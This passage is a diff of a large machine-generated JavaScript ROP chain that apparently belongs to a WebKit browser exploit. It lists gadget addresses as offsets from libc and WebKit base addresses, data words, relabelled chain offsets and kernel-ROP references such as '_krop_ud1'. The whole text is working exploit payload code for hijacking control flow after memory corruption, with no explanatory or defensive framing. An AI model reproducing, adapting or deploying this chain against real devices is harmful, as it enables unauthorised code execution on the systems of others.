libc_base+547636, //add rax, rsi @@ -51455,22 +50684,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+368280, //L7186 +ropchain+364936, //L6958 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7186: +//L6958: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+368336, //L7189 +ropchain+364992, //L6960 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7189: +//L6960: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51479,10 +50708,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7190: +//L6962: db([4, 0]); // 0x4 set_gadget(libc_base+788575,); //pop rax -//L7191: +//L6963: db([4, 0]); // 0x4 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -51493,61 +50722,61 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+368488, //L7192 +ropchain+365144, //L6964 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7192: +//L6964: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+368544, //L7195 +ropchain+365200, //L6966 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7195: +//L6966: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+368616, //L7196 +ropchain+365272, //L6968 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7196: +//L6968: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+368704, //L7199 +ropchain+365360, //L6970 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+368720, //L7200 +ropchain+365376, //L6972 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L7199: +//L6970: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7200: +//L6972: db([0, 0]); // 0x0 set_gadgets([ libc_base+562536, //mov [rdi], cx libc_base+793877, //pop rsi -ropchain+368776, //L7202 +ropchain+365432, //L6974 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7202: +//L6974: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -51557,55 +50786,55 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+368872, //L7205 +ropchain+365512, //L6975 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7203: -db([4294965088, 4294967295]); // -0x8a0 -set_gadget(libc_base+792472,); //pop rcx -//L7205: +//L6975: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6976: +db([4294965088, 4294967295]); // -0x8a0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+368976, //L7208 +ropchain+365632, //L6980 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+368960, //L7207 +ropchain+365616, //L6978 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7207: +//L6978: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7208: +//L6980: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+369120, //L7211 +ropchain+365776, //L6983 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+369088, //L7209 +ropchain+365744, //L6981 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+369104, //L7210 +ropchain+365760, //L6982 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7209: +//L6981: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7210: +//L6982: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7211: +//L6983: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51614,10 +50843,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7212: +//L6984: db([16, 0]); // 0x10 set_gadget(libc_base+788575,); //pop rax -//L7213: +//L6985: db([16, 0]); // 0x10 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -51635,14 +50864,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+369320, //L7215 +ropchain+365976, //L6987 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7214: -db([4294965100, 4294967295]); // -0x894 +//L6986: +db([4294965104, 4294967295]); // -0x890 set_gadget(libc_base+788575,); //pop rax -//L7215: +//L6987: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -51652,22 +50881,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+369400, //L7216 +ropchain+366056, //L6988 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7216: +//L6988: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+369456, //L7219 +ropchain+366112, //L6990 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7219: +//L6990: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51676,10 +50905,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7220: +//L6992: db([10, 0]); // 0xa set_gadget(libc_base+788575,); //pop rax -//L7221: +//L6993: db([10, 0]); // 0xa set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -51690,44 +50919,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+369608, //L7222 +ropchain+366264, //L6994 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7222: +//L6994: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+369664, //L7225 +ropchain+366320, //L6996 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7225: +//L6996: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+369736, //L7226 +ropchain+366392, //L6998 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7226: +//L6998: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+369792, //L7229 +ropchain+366448, //L7000 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7229: +//L7000: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -51739,91 +50968,91 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+369880, //L7231 +ropchain+366536, //L7002 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7231: +//L7002: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7230: +//L7003: db([142, 0]); // 0x8e set_gadget(libc_base+206806,); //pop rdi -//L7232: +//L7004: db([142, 0]); // 0x8e set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+370072, //L7236 +ropchain+366728, //L7008 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+370024, //L7233 +ropchain+366680, //L7006 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+370056, //L7235 +ropchain+366712, //L7007 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7233: +//L7006: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7234: +//L7005: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7235: +//L7007: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7236: +//L7008: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+370128, //L7238 +ropchain+366784, //L7010 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7238: +//L7010: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+370232, //L7239 +ropchain+366888, //L7012 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+370264, //L7241 +ropchain+366920, //L7013 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+370248, //L7240 +ropchain+366904, //L7011 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7239: +//L7012: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7240: +//L7011: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7241: +//L7013: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+370360, //L7243 +ropchain+367016, //L7015 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+370344, //L7242 +ropchain+367000, //L7014 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7242: +//L7014: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7243: +//L7015: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51832,14 +51061,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+370456, //L7245 +ropchain+367112, //L7017 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7244: -db([4294965100, 4294967295]); // -0x894 +//L7016: +db([4294965104, 4294967295]); // -0x890 set_gadget(libc_base+788575,); //pop rax -//L7245: +//L7017: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -51849,22 +51078,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+370536, //L7246 +ropchain+367192, //L7018 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7246: +//L7018: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+370592, //L7249 +ropchain+367248, //L7020 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7249: +//L7020: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51873,10 +51102,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7250: +//L7022: db([9, 0]); // 0x9 set_gadget(libc_base+788575,); //pop rax -//L7251: +//L7023: db([9, 0]); // 0x9 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -51887,44 +51116,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+370744, //L7252 +ropchain+367400, //L7024 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7252: +//L7024: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+370800, //L7255 +ropchain+367456, //L7026 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7255: +//L7026: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+370872, //L7256 +ropchain+367528, //L7028 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7256: +//L7028: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+370928, //L7259 +ropchain+367584, //L7030 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7259: +//L7030: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -51936,14 +51165,14 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+371032, //L7261 +ropchain+367688, //L7033 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7260: -db([4294965100, 4294967295]); // -0x894 +//L7032: +db([4294965104, 4294967295]); // -0x890 set_gadget(libc_base+788575,); //pop rax -//L7261: +//L7033: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -51953,22 +51182,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+371112, //L7262 +ropchain+367768, //L7034 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7262: +//L7034: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+371168, //L7265 +ropchain+367824, //L7036 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7265: +//L7036: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51977,10 +51206,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7266: +//L7038: db([4, 0]); // 0x4 set_gadget(libc_base+788575,); //pop rax -//L7267: +//L7039: db([4, 0]); // 0x4 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -51991,79 +51220,81 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+371320, //L7268 +ropchain+367976, //L7040 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7268: +//L7040: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+371376, //L7271 +ropchain+368032, //L7042 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7271: +//L7042: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+371512, //L7273 +ropchain+368168, //L7045 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+371528, //L7274 +ropchain+368184, //L7046 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+371496, //L7272 +ropchain+368152, //L7044 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7272: +//L7044: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7273: +//L7045: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7274: +//L7046: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+371624, //L7276 +ropchain+368264, //L7047 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+371640, //L7277 +ropchain+368296, //L7049 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L7275: -ropchain+398600, //_krop_ud1 libc_base+792472 //pop rcx ]); -//L7276: +//L7047: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L7277: +set_gadgets([ +libc_base+788575, //pop rax +//L7048: +ropchain+398400, //_krop_ud1 +libc_base+206806 //pop rdi +]); +//L7049: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+371712, //L7280 +ropchain+368352, //L7050 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7278: -db([4294965100, 4294967295]); // -0x894 -set_gadget(libc_base+792472,); //pop rcx -//L7280: +//L7050: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7051: +db([4294965104, 4294967295]); // -0x890 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi @@ -52072,22 +51303,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+371792, //L7281 +ropchain+368448, //L7053 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7281: +//L7053: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+371848, //L7284 +ropchain+368504, //L7055 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7284: +//L7055: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -52096,10 +51327,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7285: +//L7057: db([12, 0]); // 0xc set_gadget(libc_base+788575,); //pop rax -//L7286: +//L7058: db([12, 0]); // 0xc set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -52110,161 +51341,163 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+372000, //L7287 +ropchain+368656, //L7059 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7287: +//L7059: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+372056, //L7290 +ropchain+368712, //L7061 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7290: +//L7061: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+372192, //L7292 +ropchain+368848, //L7064 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+372208, //L7293 +ropchain+368864, //L7065 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+372176, //L7291 +ropchain+368832, //L7063 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7291: +//L7063: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7292: +//L7064: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7293: +//L7065: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+372304, //L7295 +ropchain+368944, //L7066 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+372320, //L7296 +ropchain+368976, //L7068 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L7294: -ropchain+398680, //_krop_ud2 libc_base+792472 //pop rcx ]); -//L7295: +//L7066: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L7296: +set_gadgets([ +libc_base+788575, //pop rax +//L7067: +ropchain+398480, //_krop_ud2 +libc_base+206806 //pop rdi +]); +//L7068: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+372432, //L7299 +ropchain+369072, //L7069 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+372400, //L7298 +ropchain+369056, //L7070 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7298: +//L7070: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L7297: -db([238, 0]); // 0xee set_gadget(libc_base+792472,); //pop rcx -//L7299: +//L7069: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7071: +db([238, 0]); // 0xee set_gadget(libc_base+206806,); //pop rdi -//L7300: +//L7072: db([238, 0]); // 0xee set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+372608, //L7304 +ropchain+369264, //L7076 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+372560, //L7301 +ropchain+369216, //L7074 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+372592, //L7303 +ropchain+369248, //L7075 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7301: +//L7074: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7302: +//L7073: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7303: +//L7075: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7304: +//L7076: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+372664, //L7306 +ropchain+369320, //L7078 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7306: +//L7078: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+372768, //L7307 +ropchain+369424, //L7080 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+372800, //L7309 +ropchain+369456, //L7081 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+372784, //L7308 +ropchain+369440, //L7079 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7307: +//L7080: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7308: +//L7079: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7309: +//L7081: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+372896, //L7311 +ropchain+369552, //L7083 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+372880, //L7310 +ropchain+369536, //L7082 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7310: +//L7082: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7311: +//L7083: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -52273,14 +51506,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+372992, //L7313 +ropchain+369648, //L7085 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7312: -db([4294965100, 4294967295]); // -0x894 +//L7084: +db([4294965104, 4294967295]); // -0x890 set_gadget(libc_base+788575,); //pop rax -//L7313: +//L7085: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -52290,22 +51523,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+373072, //L7314 +ropchain+369728, //L7086 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7314: +//L7086: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+373128, //L7317 +ropchain+369784, //L7088 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7317: +//L7088: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -52314,10 +51547,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7318: +//L7090: db([9, 0]); // 0x9 set_gadget(libc_base+788575,); //pop rax -//L7319: +//L7091: db([9, 0]); // 0x9 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -52328,44 +51561,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+373280, //L7320 +ropchain+369936, //L7092 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7320: +//L7092: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+373336, //L7323 +ropchain+369992, //L7094 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7323: +//L7094: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+373408, //L7324 +ropchain+370064, //L7096 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7324: +//L7096: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+373464, //L7327 +ropchain+370120, //L7098 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7327: +//L7098: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -52376,8 +51609,8 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax -//L7329: -ropchain+398272, //L7328 +//L7101: +ropchain+398072, //L7100 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -52385,8 +51618,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7331: -ropchain+373624, //L7330 +//L7103: +ropchain+370280, //L7102 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -52394,8 +51627,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L7330: +ropchain+159840, 